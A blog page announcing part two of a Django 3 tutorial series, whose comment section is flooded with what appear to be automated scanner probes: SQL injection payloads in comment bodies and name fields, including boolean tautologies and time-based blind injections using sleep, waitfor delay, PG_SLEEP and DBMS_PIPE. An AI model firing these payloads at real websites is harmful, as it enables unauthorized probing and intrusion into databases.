Part two - Models and admin area - Creating a blog using Django 3

In this part of the series I'm going to show you how to use Django shell to insert data to the database. I'm also going to show you how to register the two models with the admin interface and how to log in there.

I hope this sounds exciting! If you have any questions, feel free to leave a reply :-)

Comments

EFSArCBy | Jul 02, 26 11:30

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

-1 OR 2+130-130-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:32

-1 OR 2+979-979-1=0+0+0+1

EFSArCBy | Jul 02, 26 11:32

-1' OR 2+679-679-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:32

-1' OR 2+50-50-1=0+0+0+1 or '1tnoJsWO'='

EFSArCBy | Jul 02, 26 11:32

-1" OR 2+645-645-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:32

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 11:32

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 11:32

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 11:32

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 11:32

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:32

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:32

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:32

555bNwCvFNc'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:32

555-1 OR 982=(SELECT 982 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:32

555-1) OR 201=(SELECT 201 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:32

555-1)) OR 103=(SELECT 103 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:32

555rmhc2vk3' OR 686=(SELECT 686 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:32

555nXTwxTdR') OR 218=(SELECT 218 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:32

555O5dmOKGi')) OR 320=(SELECT 320 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:32

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 11:32

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555'"

EFSArCBy | Jul 02, 26 11:32

@@VWCal

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

-1 OR 2+813-813-1=0+0+0+1 -- | Jul 02, 26 11:32

555

-1 OR 2+27-27-1=0+0+0+1 | Jul 02, 26 11:32

555

-1' OR 2+626-626-1=0+0+0+1 -- | Jul 02, 26 11:32

555

-1' OR 2+624-624-1=0+0+0+1 or 'gkRfQLGA'=' | Jul 02, 26 11:32

555

-1" OR 2+917-917-1=0+0+0+1 -- | Jul 02, 26 11:32

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:32

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:32

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:32

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:32

555

EFSArCBy2Y9uvGZn'; waitfor delay '0:0:15' -- | Jul 02, 26 11:32

555

EFSArCByfKdERMcI' OR 468=(SELECT 468 FROM PG_SLEEP(15))-- | Jul 02, 26 11:32

555

EFSArCByKOg7iy8Q') OR 63=(SELECT 63 FROM PG_SLEEP(15))-- | Jul 02, 26 11:32

555

EFSArCByx4AYyi2W')) OR 621=(SELECT 621 FROM PG_SLEEP(15))-- | Jul 02, 26 11:32

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy'" | Jul 02, 26 11:32

555

@@dvgcx | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

EFSArCBy | Jul 02, 26 11:32

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.